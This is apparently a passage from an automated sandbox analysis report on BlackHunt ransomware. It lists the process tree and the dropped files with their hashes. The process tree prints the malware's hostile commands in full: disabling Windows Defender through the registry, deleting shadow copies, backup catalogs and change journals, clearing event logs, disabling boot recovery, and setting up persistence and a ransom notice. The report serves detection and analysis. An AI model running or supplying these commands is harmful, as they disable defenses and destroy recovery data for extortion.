                                                              2⤵
                                                                PID:628
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:5036
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3016
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4544
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3552
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:532
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1512
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1760
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:212
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:2404
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4588
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:2500
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3828
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4760
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1676
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                2⤵
                                                                  PID:14360
                                                                  • C:\Windows\system32\fsutil.exe
                                                                    fsutil usn deletejournal /D F:\
                                                                    3⤵
                                                                    • Enumerates connected drives
                                                                    PID:13224
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                  2⤵
                                                                    PID:6820
                                                                    • C:\Windows\system32\fsutil.exe
                                                                      fsutil usn deletejournal /D C:\
                                                                      3⤵
                                                                        PID:5852
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                      2⤵
                                                                        PID:14708
                                                                        • C:\Windows\system32\fsutil.exe
                                                                          fsutil usn deletejournal /D M:\
                                                                          3⤵
                                                                          • Enumerates connected drives
                                                                          PID:9840
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                        2⤵
                                                                          PID:12400
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl Setup
                                                                            3⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:11164
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                          2⤵
                                                                            PID:9732
                                                                            • C:\Windows\system32\wevtutil.exe
                                                                              wevtutil.exe cl System
                                                                              3⤵
                                                                              • Clears Windows event logs
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:5976
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                            2⤵
                                                                              PID:6408
                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                wevtutil.exe cl Application
                                                                                3⤵
                                                                                • Clears Windows event logs
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:8660
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                              2⤵
                                                                                PID:8700
                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                  wevtutil.exe cl Security
                                                                                  3⤵
                                                                                  • Clears Windows event logs
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:11184
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                2⤵
                                                                                  PID:8480
                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                    wevtutil.exe cl Security /e:false
                                                                                    3⤵
                                                                                    • Clears Windows event logs
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:7364
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                  2⤵
                                                                                    PID:11020
                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                      vssadmin.exe Delete Shadows /all /quiet
                                                                                      3⤵
                                                                                      • Interacts with shadow copies
                                                                                      PID:14500
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                    2⤵
                                                                                      PID:7920
                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                        bcdedit /set {default} recoveryenabled No
                                                                                        3⤵
                                                                                        • Modifies boot configuration data using bcdedit
                                                                                        PID:3484
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                      2⤵
                                                                                        PID:9696
                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                          3⤵
                                                                                          • Modifies boot configuration data using bcdedit
                                                                                          PID:4624
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                        2⤵
                                                                                          PID:14536
                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                            fsutil.exe usn deletejournal /D C:
                                                                                            3⤵
                                                                                            • Deletes NTFS Change Journal
                                                                                            PID:6876
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                          2⤵
                                                                                            PID:8964
                                                                                            • C:\Windows\system32\wbadmin.exe
                                                                                              wbadmin.exe delete catalog -quiet
                                                                                              3⤵
                                                                                              • Deletes backup catalog
                                                                                              PID:9260
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                            2⤵
                                                                                              PID:7064
                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                3⤵
                                                                                                  PID:9452
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                2⤵
                                                                                                  PID:9084
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                    3⤵
                                                                                                      PID:4540
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                    2⤵
                                                                                                      PID:9956
                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                        SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                        3⤵
                                                                                                          PID:5496
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                        2⤵
                                                                                                          PID:8764
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                            3⤵
                                                                                                              PID:1476
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                            2⤵
                                                                                                              PID:7200
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                3⤵
                                                                                                                  PID:15168
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                2⤵
                                                                                                                  PID:7776
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                    3⤵
                                                                                                                      PID:15264
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                    2⤵
                                                                                                                      PID:11136
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /IM mshta.exe /f
                                                                                                                        3⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:6912
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                      2⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • Modifies registry class
                                                                                                                      PID:11144
                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                        3⤵
                                                                                                                          PID:15240
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 15240 -s 1416
                                                                                                                            4⤵
                                                                                                                            • Program crash
                                                                                                                            PID:7004
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe"
                                                                                                                        2⤵
                                                                                                                          PID:15344
                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                            ping 127.0.0.1 -n 5
                                                                                                                            3⤵
                                                                                                                            • Runs ping.exe
                                                                                                                            PID:15332
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                          2⤵
                                                                                                                            PID:15236
                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                              notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                              3⤵
                                                                                                                                PID:15160
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                            1⤵
                                                                                                                            • Modifies registry class
                                                                                                                            PID:1944
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                            1⤵
                                                                                                                            • Modifies registry class
                                                                                                                            PID:4996
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                                                                            1⤵
                                                                                                                              PID:4968
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                              1⤵
                                                                                                                                PID:832
                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                1⤵
                                                                                                                                  PID:4444
                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                  vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                  1⤵
                                                                                                                                  • Interacts with shadow copies
                                                                                                                                  PID:768
                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                  vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                  1⤵
                                                                                                                                  • Interacts with shadow copies
                                                                                                                                  PID:4208
                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:4620
                                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                    1⤵
                                                                                                                                    • Interacts with shadow copies
                                                                                                                                    PID:4564
                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                    1⤵
                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                    PID:3628
                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                    1⤵
                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                    PID:7964
                                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                                    1⤵
                                                                                                                                    • Enumerates connected drives
                                                                                                                                    • Interacts with shadow copies
                                                                                                                                    PID:1896
                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe" /F
                                                                                                                                    1⤵
                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                    PID:3436
                                                                                                                                  • C:\Windows\system32\wbengine.exe
                                                                                                                                    "C:\Windows\system32\wbengine.exe"
                                                                                                                                    1⤵
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:5392
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                                    1⤵
                                                                                                                                      PID:2252
                                                                                                                                    • C:\Windows\System32\vdsldr.exe
                                                                                                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:1388
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                        1⤵
                                                                                                                                          PID:3944
                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                                                          1⤵
                                                                                                                                            PID:4216
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                                                                            1⤵
                                                                                                                                              PID:2500
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                                                                              1⤵
                                                                                                                                                PID:2016
                                                                                                                                              • C:\Windows\System32\vds.exe
                                                                                                                                                C:\Windows\System32\vds.exe
                                                                                                                                                1⤵
                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                PID:6388
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                                1⤵
                                                                                                                                                  PID:1476
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                                                                                  1⤵
                                                                                                                                                    PID:4648
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                    1⤵
                                                                                                                                                      PID:612
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                                                                                      1⤵
                                                                                                                                                        PID:3912
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                                                                                                        1⤵
                                                                                                                                                          PID:4908
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                                                                                                          1⤵
                                                                                                                                                            PID:800
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                                                                                                            1⤵
                                                                                                                                                              PID:4256
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2992
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3136
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3832
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2236
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                                      PID:2156
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:3632
                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2252
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:2900
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          PID:828
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          PID:2668
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 15240 -ip 15240
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:9512

                                                                                                                                                                          Network

                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                Downloads

                                                                                                                                                                                • C:\#BlackHunt_Private.key

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  1KB

                                                                                                                                                                                  MD5

                                                                                                                                                                                  ad1feebcb85f6123e6281f2d03e44932

                                                                                                                                                                                  SHA1

                                                                                                                                                                                  00295f3253b15f567cebf21ef220c4b318d79005

                                                                                                                                                                                  SHA256

                                                                                                                                                                                  9d94a6f6a8c221c6c03db52f178f3c2bb0ec2cc6d6dfda04c53f50e485063c31

                                                                                                                                                                                  SHA512

                                                                                                                                                                                  d1b3d7fbe125660060fde265cf64aeed76112fadb82beeb1f8b0f2ed3f9813344705391636535cdbda4b726d241feb7bf85d73b324335d55748d885d9adc4418

                                                                                                                                                                                • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  1KB

                                                                                                                                                                                  MD5

                                                                                                                                                                                  48819d2b8526e42f54b4bc7d608bfd17

                                                                                                                                                                                  SHA1

                                                                                                                                                                                  669170da33e4f236bcee310893124eb62d9676de

                                                                                                                                                                                  SHA256

                                                                                                                                                                                  2e0698b572f03f2e414856ebb9a54ecad7d9dbece2303f696ae7045cfe6318c6

                                                                                                                                                                                  SHA512

                                                                                                                                                                                  5b61f936c5d4479e245ea5cea1afe68772effcd7ce39487e1f7ff9682255bd9737942b0603d79497c6df57772a15194a9ef94588d0b24d3e77fe564830ab0e14

                                                                                                                                                                                • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  12KB

                                                                                                                                                                                  MD5

                                                                                                                                                                                  89a853122014984463e3ef712c67f079

                                                                                                                                                                                  SHA1

                                                                                                                                                                                  cde99e67663c458a508703e9dcc3d5fe569d0ccf

                                                                                                                                                                                  SHA256

                                                                                                                                                                                  4eb11fbca2066d3a717020e12c41d3c06306ad3e3876a2fc76cd5866846c1887

                                                                                                                                                                                  SHA512

                                                                                                                                                                                  32579b6ddf4f7c878ea10bad3b921c76a3fbd07159ee8656a974e040da188a767274f2ec028ab24918b05e793c4d0e9190958d9974971a68949c142836def7bf

                                                                                                                                                                                • F:\#BlackHunt_ReadMe.txt

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  684B

                                                                                                                                                                                  MD5

                                                                                                                                                                                  40c46bd044ae22dbcddc933ea1e0f774

                                                                                                                                                                                  SHA1

                                                                                                                                                                                  7d27eda7fa1370d1552d8873e0f09e6361999ddd

                                                                                                                                                                                  SHA256

                                                                                                                                                                                  f3f7412bfbad866a11b722ec254cf180470a23e3fcd96bdb3bdd939884f9a3e3

                                                                                                                                                                                  SHA512

                                                                                                                                                                                  d3090af130b5fd7f2486c199f2ebf77fb61603db0b36a66507f8dc84bbfb16999b6762614e99eaab769841653752ae463979e24a01cde218063ada0e1197bc48